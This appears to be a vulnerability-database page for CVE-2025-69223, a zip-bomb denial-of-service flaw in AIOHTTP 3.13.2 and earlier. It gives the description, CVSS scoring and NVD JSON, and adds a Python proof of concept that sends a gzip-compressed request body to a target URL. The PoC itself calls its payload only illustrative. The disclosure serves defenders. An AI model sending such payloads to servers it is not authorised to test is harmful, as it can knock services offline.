Security Vulnerability Report
中文
CVE-2025-69223 CVSS 7.5 HIGH

CVE-2025-69223

Published: 2026-01-05 22:15:53
Last Modified: 2026-01-14 19:11:08

Description

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Versions 3.13.2 and below allow a zip bomb to be used to execute a DoS against the AIOHTTP server. An attacker may be able to send a compressed request that when decompressed by AIOHTTP could exhaust the host's memory. This issue is fixed in version 3.13.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:* - VULNERABLE
AIOHTTP < 3.13.3
aio-libs/aiohttp <= 3.13.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-69223 PoC - AIOHTTP ZIP Bomb Denial of Service Note: This PoC is for educational and authorized testing purposes only. """ import gzip import requests import sys def create_zip_bomb(): """ Create a minimal ZIP bomb that expands to massive size when decompressed. This uses the classic ZIP bomb technique with recursive compression. """ # Create highly compressible data # 1000 bytes of 'A' will compress to ~5 bytes # Recursively nest this to create exponential expansion # Simple version: Single layer high compression # In real attack, multiple layers would be used bomb_data = gzip.compress(b'A' * 100000) # 100KB of 'A' compressed print(f"[+] ZIP bomb size: {len(bomb_data)} bytes") print(f"[+] Original data size: {100000} bytes") print(f"[+] Compression ratio: {100000 / len(bomb_data):.1f}x") return bomb_data def exploit_aiohttp(target_url, bomb_data): """ Send ZIP bomb to vulnerable AIOHTTP server. """ headers = { 'Content-Encoding': 'gzip', 'Content-Type': 'application/json', 'User-Agent': 'AIOHTTP-ZIPBomb-Test/1.0' } print(f"[+] Sending ZIP bomb to {target_url}") try: # Send POST request with gzip compressed body response = requests.post( target_url, data=bomb_data, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[+] Target appears to be processing large decompression!") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_69223_poc.py <target_url>") print("Example: python cve_2025_69223_poc.py http://vulnerable-server:8080/api") sys.exit(1) target_url = sys.argv[1] print("=" * 60) print("CVE-2025-69223 - AIOHTTP ZIP Bomb DoS PoC") print("=" * 60) # Generate ZIP bomb bomb = create_zip_bomb() # Attempt exploitation exploit_aiohttp(target_url, bomb) print("\n[!] Note: This PoC demonstrates the vulnerability concept.") print("[!] Actual exploitation requires larger/multi-layer ZIP bombs.") print("[!] Ensure you have authorization before testing.") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69223", "sourceIdentifier": "[email protected]", "published": "2026-01-05T22:15:53.017", "lastModified": "2026-01-14T19:11:07.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Versions 3.13.2 and below allow a zip bomb to be used to execute a DoS against the AIOHTTP server. An attacker may be able to send a compressed request that when decompressed by AIOHTTP could exhaust the host's memory. This issue is fixed in version 3.13.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-409"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.3", "matchCriteriaId": "715B630E-B141-4247-A920-3FFBD8045A05"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6mq8-rvhq-8wgg", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}]}}